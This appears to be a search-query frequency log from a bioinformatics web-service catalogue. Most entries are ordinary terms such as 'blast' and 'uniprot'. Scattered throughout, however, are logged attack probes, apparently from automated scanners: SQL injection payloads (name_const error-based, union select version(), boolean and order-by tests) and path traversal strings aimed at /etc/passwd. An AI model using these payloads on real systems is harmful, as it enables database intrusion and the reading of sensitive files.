Note: this includes searches carried out through the API but doesn't include
paging through the same search results (i.e. searching then paging only counts
as one search event.
| Query: |
Frequency: |
| sequence |
3658 |
| get id' |
360 |
| ebi |
358 |
| sequence similarity searching against complete proteome or genome databases using the fasta programs. |
319 |
| html' |
190 |
| hit |
187 |
| 1 |
183 |
| e |
167 |
| repeat |
163 |
| protein sequencing analysis |
156 |
| sequence similarity searching against complete proteome or genome databases using the fasta programs.'" |
143 |
| genes' |
121 |
| vector |
109 |
| identified" |
93 |
| linked data |
92 |
| blast sequence |
85 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111 |
79 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108, |
76 |
| -1314' |
75 |
| fasta |
73 |
| -4420 union all select 57,57-- hved |
73 |
| file and 1>1 |
56 |
| blast |
51 |
| protein |
45 |
| integ'" |
40 |
| binding site protein" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char |
40 |
| gene id' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,10 |
40 |
| optional |
39 |
| codon |
39 |
| get |
39 |
| out |
33 |
| fetch |
33 |
| franck |
32 |
| www.google.com/intl/en/policies/terms/ |
32 |
| searching |
32 |
| -1314' order by 1-- szjk |
31 |
| dna |
30 |
| spectroscopy |
28 |
| biological molecules" or (1,2)=(selectfrom(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
27 |
| predict protein protein interaction sites.'" |
27 |
| uniprot id99999" union select unhex(hex(version())) -- "x"="x |
27 |
| biology' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1 |
27 |
| blast -ebi" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111, |
27 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end)) |
27 |
| imaging" |
27 |
| structure retrieve |
27 |
| identified |
25 |
| dbfetch |
24 |
| get id' and 1=1 |
24 |
| proteomics |
24 |
| no~//yybbs.cgi |
22 |
| pfam |
21 |
| service |
20 |
| query |
19 |
| protein motifs |
19 |
| kegg |
19 |
| phylogeny |
18 |
| conduct |
18 |
| plot |
17 |
| predicted |
16 |
| wiki |
16 |
| dna local alignment of genomic sequences in fasta or plain format. |
16 |
| image |
16 |
| to |
16 |
| upload' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
15 |
| database |
15 |
| gene+expression |
14 |
| get id''" |
14 |
| sequence+analysis |
13 |
| sequence analysis |
13 |
| last activity |
13 |
| bmc |
13 |
| get id'2121121121212.1 |
12 |
| kinases |
12 |
| get id' and 1>1 |
12 |
| html' and 1=1 |
12 |
| citexplore |
12 |
| get id'' and 'x'='x |
12 |
| genouest |
12 |
| return |
12 |
| get id'' and 'x'='y |
12 |
| get id'" and "x"="x |
12 |
| get id'99999" union select unhex(hex(version())) -- "x"="x |
12 |
| get id'99999' union select unhex(hex(version())) -- 'x'='x |
12 |
| get id'999999.1 union select unhex(hex(version())) -- and 1=1 |
12 |
| get id'" and "x"="y |
12 |
| imaging |
12 |
| nomenclature |
12 |
| experimental |
11 |
| uniprot |
11 |
| teste |
11 |
| get id' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
11 |
| ncbi |
11 |
| get id'' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
11 |
| occurances |
11 |
| localhost |
11 |
| lalign |
10 |
| mutalyzer |
10 |
| find protein in text' or (1,2)=(selectfrom(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
10 |
| pdf |
10 |
| ncbi+blast |
10 |
| chemspider |
10 |
| ying cheng |
10 |
| yta~' |
10 |
| data~' |
10 |
| html''" |
10 |
| gene |
10 |
| getorf |
10 |
| www.bocsci.com |
10 |
| google scolar |
10 |
| metabolomics |
9 |
| oligo analyser |
9 |
| positive selection |
9 |
| enzyme kinetics |
9 |
| taxonomy |
9 |
| nif |
9 |
| generate sequence |
9 |
| hit and 1=1 |
9 |
| family |
9 |
| file' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
9 |
| status |
9 |
| is |
9 |
| protein sequencing analysis and 1=1 |
8 |
| gene predict |
8 |
| param' or (1,2)=(selectfrom(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
8 |
| show |
8 |
| 1234 |
8 |
| weight matrix |
8 |
| ../../../../../../../../etc/passwd |
8 |
| gene lists from different different microarray studies or other genomic expression profiling. |
8 |
| 1' |
8 |
| customer |
8 |
| 1" |
8 |
| systems+biology |
8 |
| databases human features |
8 |
| repeat and 1=1 |
8 |
| eric |
8 |
| yt~ |
8 |
| pdb |
8 |
| uniprot +search |
8 |
| neurosciences |
8 |
| /etc/passwd |
8 |
| users' or (1,2)=(selectfrom(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
8 |
| aida |
8 |
| andreas prlic |
8 |
| chembl |
8 |
| (select (case when (3710=7967) then 3710 else 3710(select 3710 from information_schema.character_sets) end)) |
8 |
| repeat'" |
8 |
| ../../../../../../etc/passwd |
7 |
| ../../../../etc/passwd |
7 |
| ../../etc/passwd |
7 |
| chromosome |
7 |
| http: |
7 |
| html'a=0 |
7 |
| sixpack |
7 |
| hit'" |
7 |
| html'2121121121212.1 |
7 |
| seed |
7 |
| disease |
7 |
| biologic'" |
7 |
| excel template (anemona.xlt) |
7 |
| 1'" |
7 |
| database'" |
7 |
| string |
7 |
| hit"+and+"x"="x |
7 |
| html'' |
7 |
| aria |
7 |
| html'"+and+"x"="y |
7 |
| code' |
7 |
| html'" |
7 |
| g9g |
7 |
| phoebus.cs.man.ac.uk |
7 |
| blast'a=0 |
7 |
| a |
7 |
| biostatistics |
7 |
| reaction |
7 |
| wsdbfetch |
7 |
| needle |
7 |
| ddbj |
7 |
| test |
7 |
| pattern or motif search |
7 |
| function annotation |
7 |
| protein active site residues. |
7 |
| blast+sequence |
7 |
| structure+retrieve |
7 |
| country |
7 |
| protein data databases |
6 |
| input'" |
6 |
| identified"'a=0 |
6 |
| yt~' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
6 |
| database search1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45)-- |
6 |
| plasmapper |
6 |
| finn |
6 |
| biomart |
6 |
| similarities proteins matching multiple motifs |
6 |
| conduct sequence similarity searching against complete proteome or genome databases using the fasta programs. |
6 |
| smiles |
6 |
| no~/gb.php |
6 |
| text mining |
6 |
| no' or (1,2)=(selectfrom(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
6 |
| wsdl |
6 |
| html |
6 |
| html'' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
6 |
| tools |
6 |
| compare your query sequence to dna sequences mapped in, or associated with, plant genomes. |
6 |
| google+scolar |
6 |
| genomic+dna |
6 |
| genes'' |
6 |
| genome |
6 |
| year |
6 |
| uniprot json |
6 |
| cfm-id'a=0 |
6 |
| html' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
6 |
| html'99999" union select unhex(hex(version())) -- "x"="x |
6 |
| html'99999' union select unhex(hex(version())) -- 'x'='x |
6 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115)9999" union select unhex(hex(version())) -- "x"="x |
6 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115)9999' union select unhex(hex(version())) -- 'x'='x |
6 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115)99999.1 union select unhex(hex(version())) -- and 1=1 |
6 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115"121121121212.1 |
6 |
| protein sequencing analysis'" |
6 |
| snp |
6 |
| html'999999.1 union select unhex(hex(version())) -- and 1=1 |
6 |
| ../../../../../etc/passwd |
6 |
| wspsisearch |
6 |
| html'" and "x"="y |
6 |
| html'" and "x"="x |
6 |
| author id' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
6 |
| -1119') union all select 57,concat(0x716a7a6271,0x69484542544e6d657a634c717665547064636d71675951644b425641704d6862734f46577a6d4264,0x717a787171),57 |
6 |
| .be'" |
6 |
| get genbank id' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x'a=0 |
6 |
| html'' and 'x'='y |
6 |
| html'' and 'x'='x |
6 |
| next generation sequencing |
6 |
| marco roos |
6 |
| html' and 1>1 |
6 |
| tyrosine phosphorylation prediction |
6 |
| tool protein |
6 |
| database' |
6 |
| hit2121121121212.1 |
6 |
| repeat2121121121212.1 |
6 |
| secondary+structure |
6 |
| ../etc/passwd |
6 |
| compare two protein or dna sequences for local similarity |
6 |
| intronic |
6 |
| fetch) |
6 |
| ../../../../../../../etc/passwd |
6 |
| 1+and+1=1 |
6 |
| 1 and 1=1 |
6 |
| "alignment" |
6 |
| slims |
6 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
5 |
| rest |
5 |
| gm21887 |
5 |
| 12121121121212.1 |
5 |
| ../../../etc/passwd |
5 |
| upi0000048178 |
5 |
| occurence |
5 |
| ../../../../../../../../../etc/passwd |
5 |
| rest query |
5 |
| structure+key |
5 |
| blast+ncbi |
5 |
| hit" |
5 |
| hit' |
5 |
| hit and 1>1 |
5 |
| blast param' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
5 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- ' |
5 |
| muscle |
5 |
| signalization |
5 |
| tcoffee |
5 |
| data integration |
5 |
| generate a three dimensional representation for a given rna or dna sequence alignment. |
5 |
| blast ncbi |
5 |
| true |
5 |
| upload' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x'a=0 |
5 |
| -4585 order by 1-- lipt |
5 |
| encode |
5 |
| get+id'99999"+union+select+unhex(hex(version()))+--+"x"="x |
5 |
| protein+name'" |
5 |
| concept profile |
5 |
| medline |
5 |
| astronomy |
5 |
| codon usage |
5 |
| terms'" |
5 |
| get+id' |
5 |
| process' |
5 |
| cfm-id |
5 |
| data+integration |
5 |
| efetch |
5 |
| sequence+similarity+searching+against+complete+proteome+or+genome+databases+using+the+fasta+programs.99999"+union+select+unhex(hex(version()))+--+"x"="x |
5 |
| genomics |
5 |
| web'" |
5 |
| cath |
5 |
| text mining' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
5 |
| counting |
5 |
| genes'" |
5 |
| no~/scarbook.php |
5 |
| program |
5 |
| yta~ or' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
5 |
| database~ |
5 |
| current'a=0 |
5 |
| compare your query sequence to dna sequences mapped in%2c or associated with%2c plant genomes' |
5 |
| representation rna dna sequence alignment |
5 |
| current |
5 |
| 1) |
5 |
| positive+selection |
5 |
| 1"+and+"x"="y |
5 |
| compare your query sequence to dna sequence or protein products of caenorhabditis elegans or caenorhabditis briggsae |
5 |
| netherland |
5 |
| data~" and "x"="x |
5 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- |
5 |
| augustus |
5 |
| statistical |
5 |
| clustal omega |
5 |
| mapping tools |
5 |
| trnascan |
5 |
| user/registerindex.php' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
5 |
| rna |
5 |
| repeat'+and+'x'='y |
5 |
| protein protein interactions |
5 |
| get genbank id' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
5 |
| global pairwise |
4 |
| genes''" |
4 |
| all databases |
4 |
| evolution |
4 |
| no' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111 and 1=1 |
4 |
| get+id'99999'+union+select+unhex(hex(version()))+--+'x'='x |
4 |
| genes'2121121121212.1 |
4 |
| format blast |
4 |
| uniprot id |
4 |
| yta~+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+' |
4 |
| clustalx |
4 |
| string (content) |
4 |
| genes' and 1=1 |
4 |
| data~' and 'x'='x |
4 |
| excel |
4 |
| file and 1>1 and 1=1 |
4 |
| multiple sequence alignment |
4 |
| keyword search |
4 |
| pdb+and+view |
4 |
| fasta (soap) |
4 |
| imaging'a=0 |
4 |
| phylip |
4 |
| get+id''" |
4 |
| netchop |
4 |
| hit'+and+'x'='y |
4 |
| view'a=0 |
4 |
| protein+data+base |
4 |
| membrane protein |
4 |
| "http://ws.adaptivedisclosure.org/axis/services/searcherws?wsdl" |
4 |
| tuiuiu |
4 |
| html''+and+'x'='x |
4 |
| microarray or affy |
4 |
| gene lists from different different microarray studies or other genomic expression profiling.'a=0 |
4 |
| translate nucleotide to protein sequence |
4 |
| lab |
4 |
| eb-eye |
4 |
| oligo+analyser |
4 |
| termine |
4 |
| data service |
4 |
| protein name'" |
4 |
| tax id |
4 |
| snp check |
4 |
| view |
4 |
| -1314'+order+by+1--+szjk |
4 |
| integ" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
4 |
| protein+motifs |
4 |
| get+id'"+and+"x"="y |
4 |
| hmmscan |
4 |
| {query} |
4 |
| mygene |
4 |
| blast param and 1=1 |
4 |
| systems biology |
4 |
| isoelectric point |
4 |
| text+mining |
4 |
| linked data'" |
4 |
| metabolic pathway |
4 |
| phosphorylation |
4 |
| ortholog protein |
4 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 2121121121212.1 |
4 |
| protein family |
4 |
| linked+data'" |
4 |
| pdb and view |
4 |
| fragments similar structure |
4 |
| keyword+search |
4 |
| predict+protein+protein+interaction+sites.'" |
4 |
| kalign |
4 |
| search simple |
4 |
| proteins isoelectric point molecular weight |
4 |
| function+annotation |
4 |
| hgvs |
4 |
| identified" and "x"="x99999" union select unhex(hex(version())) -- "x"="x |
4 |
| dna software |
4 |
| protein sequencing analysis2121121121212.1 |
4 |
| experimental'a=0 |
4 |
| protein sequencing analysis and 1>1 |
4 |
| web' |
4 |
| protein sequencing analysis' and 'x'='y |
4 |
| protein sequencing analysis" and "x"="x |
4 |
| protein sequencing analysis" and "x"="y |
4 |
| protein sequencing analysis999999.1 union select unhex(hex(version())) -- and 1=1 |
4 |
| protein sequencing analysis99999' union select unhex(hex(version())) -- 'x'='x |
4 |
| protein sequencing analysis99999" union select unhex(hex(version())) -- "x"="x |
4 |
| yta~ or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108, and 1=1 |
4 |
| get genbank id' |
4 |
| hit+and+1>1 |
4 |
| information metabolic pathways |
4 |
| mmu-mir-762 |
4 |
| get web page |
4 |
| soap genome |
4 |
| sub |
4 |
| transcription factor -target gene |
4 |
| protein interaction protein |
4 |
| -2244 union all select 57,57,57,57,57-- qtim |
4 |
| protein services |
4 |
| structure key |
4 |
| hsa-mir-10b-3p |
4 |
| identified" and "x"="x99999" union select unhex(hex(version())) -- "x"="x'" |
4 |
| isoelectric+point |
4 |
| repeat and 1>1 |
4 |
| hit' and 'x'='x |
4 |
| hit' and 'x'='y |
4 |
| hit" and "x"="x |
4 |
| hit" and "x"="y |
4 |
| hit999999.1 union select unhex(hex(version())) -- and 1=1 |
4 |
| hit99999' union select unhex(hex(version())) -- 'x'='x |
4 |
| hit99999" union select unhex(hex(version())) -- "x"="x |
4 |
| hit or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
4 |
| repeat' and 'x'='x |
4 |
| repeat' and 'x'='y |
4 |
| hit' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
4 |
| get id |
4 |
| netphos |
4 |
| repeat" and "x"="x |
4 |
| repeat" and "x"="y |
4 |
| simap |
4 |
| gene id conversion |
4 |
| launchjobblocking |
4 |
| sequence modelling |
4 |
| no'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111 |
4 |
| data~ |
4 |
| sequence+similarity+searching+against+complete+proteome+or+genome+databases+using+the+fasta+programs. |
4 |
| repeat" |
4 |
| pubchem |
4 |
| hit+and+1=1 |
4 |
| protein sequencing analysis' and 'x'='x |
4 |
| mapping+tools |
4 |
| bionemus |
3 |
| kegg id |
3 |
| mass spectrometry |
3 |
| accession numbers |
3 |
| biomodels |
3 |
| sequence alignment |
3 |
| fprotdist |
3 |
| predict localization proteins organisms |
3 |
| integrates microarray data diverse annotation primary data sources |
3 |
| scooby |
3 |
| information genes transcriptional associated biological phenotype |
3 |
| megablast |
3 |
| umls |
3 |
| swiss prot |
3 |
| homology modelling |
3 |
| compare+your+query+sequence+to+dna+sequences+mapped+in%2c+or+associated+with%2c+plant+genomes |
3 |
| cross reference |
3 |
| mafft |
3 |
| swiss prot id |
3 |
| blast ddbj |
3 |
| rest service |
3 |
| thresholder |
3 |
| http://testjst.ba.infn.it/openacces/ |
3 |
| binding+site+protein"+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char |
3 |
| html''+and+'x'='y |
3 |
| ontology |
3 |
| map |
3 |
| phylogenetic tree |
3 |
| soaplab |
3 |
| get+id''+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
3 |
| -4585+order+by+1--+lipt |
3 |
| gene+lists+from+different+different+microarray+studies+or+other+genomic+expression+profiling. |
3 |
| -1314' order by 1-- szjk'" |
3 |
| repeat+and+1=1 |
3 |
| last activity'a=0 |
3 |
| sabiork |
3 |
| http://phoebus.cs.man.ac.uk:1977/axis/services/qtl_analysis.flatten_pathway_files |
3 |
| predict protein active site residues |
3 |
| go term |
3 |
| hit+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+and+1=1 |
3 |
| html'99999"+union+select+unhex(hex(version()))+--+"x"="x |
3 |
| 199999'+union+select+unhex(hex(version()))+--+'x'='x |
3 |
| convert format |
3 |
| enzyme kinetic |
3 |
| tool+protein |
3 |
| hit'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
3 |
| no~/g_book.cgi |
3 |
| no~/apps/guestbook |
3 |
| translate+nucleotide+to+protein+sequence |
3 |
| no~/gaestebuch.php |
3 |
| no~/guestbook.html |
3 |
| no~/guestbook.php |
3 |
| no~/album.cgi |
3 |
| no~/default.asp |
3 |
| dna+software |
3 |
| no~/jax_guestbook.php |
3 |
| no~/aska.cgi |
3 |
| no~/guestbook |
3 |
| no~/ |
3 |
| motifs databases motifs |
3 |
| no'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111+and+1=1 |
3 |
| biomedical |
3 |
| get+id |
3 |
| html'+and+1>1 |
3 |
| data~2121121121212.1 |
3 |
| readseq |
3 |
| biology'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,1 |
3 |
| http://phoebus.cs.man.ac.uk:1977/axis/services/seq_analysis.parse_uniprot |
3 |
| 1+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+and+1=1 |
3 |
| interaction |
3 |
| enriched_pathway |
3 |
| metabolic |
3 |
| next+generation+sequencing |
3 |
| string+(content) |
3 |
| est |
3 |
| wu-blast |
3 |
| anemona |
3 |
| information annotated genes protein |
3 |
| clustal |
3 |
| gene reference sequence |
3 |
| analyze protein |
3 |
| "http://www.ebi.ac.uk/intact/binary-search-ws/binarysearch?wsdl" |
3 |
| tfmodeller |
3 |
| solvent |
3 |
| getmodelsidbytaxonomy |
3 |
| gene entity |
3 |
| bind |
3 |
| statistics |
3 |
| transeq |
3 |
| http://www.ebi.ac.uk/soaplab/emboss4/services/nucleic_translation.transeq |
3 |
| information protein structural similarity |
3 |
| drug |
3 |
| transfac |
3 |
| open read frame |
3 |
| phylogenetics |
3 |
| tarbase |
3 |
| align 2 sequences |
3 |
| merge_string_list_to_a_string |
3 |
| signal peptide |
3 |
| data~" and "x"="y |
3 |
| emma |
3 |
| yta~+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108, |
3 |
| localization sites proteins amino acid sequences |
3 |
| fdrawgram |
3 |
| protein+subcellular |
3 |
| protein+family |
3 |
| seqret |
3 |
| clustalw |
3 |
| ihop |
3 |
| information+protein+domain+family |
3 |
| databases+human+features |
3 |
| phospho |
3 |
| param'+or+(1,2)=(selectfrom(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
3 |
| 1+and+1>1 |
3 |
| sequence+similarity+searching+against+complete+proteome+or+genome+databases+using+the+fasta+programs.'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
3 |
| sequence similarity searching against complete proteome or genome databases using the fasta programs." or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
3 |
| sequence similarity searching against complete proteome or genome databases using the fasta programs.99999" union select unhex(hex(version())) -- "x"="x |
3 |
| genes'+and+1=1 |
3 |
| sequence similarity searching against complete proteome or genome databases using the fasta programs.' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
3 |
| protein+sequencing+analysis'" |
3 |
| sequence similarity searching against complete proteome or genome databases using the fasta programs.2121121121212.1 |
3 |
| sequence similarity searching against complete proteome or genome databases using the fasta programs. or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
3 |
| sequence+similarity+searching+against+complete+proteome+or+genome+databases+using+the+fasta+programs.99999'+union+select+unhex(hex(version()))+--+'x'='x |
3 |
| sequence similarity searching against complete proteome or genome databases using the fasta programs.99999' union select unhex(hex(version())) -- 'x'='x |
3 |
| sequence similarity searching against complete proteome or genome databases using the fasta programs.999999.1 union select unhex(hex(version())) -- and 1=1 |
3 |
| sequence similarity searching against complete proteome or genome databases using the fasta programs. and 1=1 |
3 |
| database predicted protein interactions |
3 |
| similarities+proteins+matching+multiple+motifs |
3 |
| protein data base |
3 |
| pdbsum |
3 |
| concept+profile |
3 |
| repeat+and+1>1 |
3 |
| data+service |
3 |
| predicted'a=0 |
3 |
| html'+and+1=1 |
3 |
| gene+id'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,10 |
3 |
| get+id'999999.1+union+select+unhex(hex(version()))+--+and+1=1 |
3 |
| protein+sequencing+analysis+and+1=1 |
3 |
| linked+data |
3 |
| protein+sequencing+analysis999999.1+union+select+unhex(hex(version()))+--+and+1=1 |
3 |
| codon+usage |
3 |
| rnafold |
3 |
| embl nucleotide sequence database |
3 |
| hmmer |
3 |
| blast sequence zebrafish sequences |
3 |
| get genbank id" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- "x"="x |
3 |
| uniprot +search'a=0 |
3 |
| structural |
3 |
| generate+sequence |
3 |
| binding+site+protein |
3 |
| repeat+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+and+1=1 |
3 |
| ligand |
3 |
| analysis |
3 |
| compare your query sequence to dna sequences mapped in%2c or associated with%2c plant genomes |
3 |
| plasmid |
3 |
| compare two sequences |
3 |
| mview |
3 |
| geo |
3 |
| transcription |
3 |
| secondary structure |
3 |
| blast -ebi' or (1,2)=(selectfrom(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
3 |
| protein subcellular |
3 |
| first' or (1,2)=(selectfrom(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
3 |
| ssr |
3 |
| weather |
3 |
| information protein domain family |
3 |
| information metabolic networks |
3 |
| web tool functionality gene |
3 |
| grouping' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
3 |
| linked data'a=0 |
3 |
| a three dimensional representation for a given rna or dna sequence alignment. |
3 |
| integ'' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
3 |
| biological molecules' or (1,2)=(selectfrom(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
3 |
| repeat' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
3 |
| repeat' |
3 |
| repeat or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
3 |
| repeat99999" union select unhex(hex(version())) -- "x"="x |
3 |
| author |
3 |
| repeat99999' union select unhex(hex(version())) -- 'x'='x |
3 |
| 1 and 1>1 |
3 |
| 1' and 'x'='x |
3 |
| 1' and 'x'='y |
3 |
| 1" and "x"="x |
3 |
| 1" and "x"="y |
3 |
| 1999999.1 union select unhex(hex(version())) -- and 1=1 |
3 |
| 199999' union select unhex(hex(version())) -- 'x'='x |
3 |
| 199999" union select unhex(hex(version())) -- "x"="x |
3 |
| 1 or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- and 1=1 |
3 |
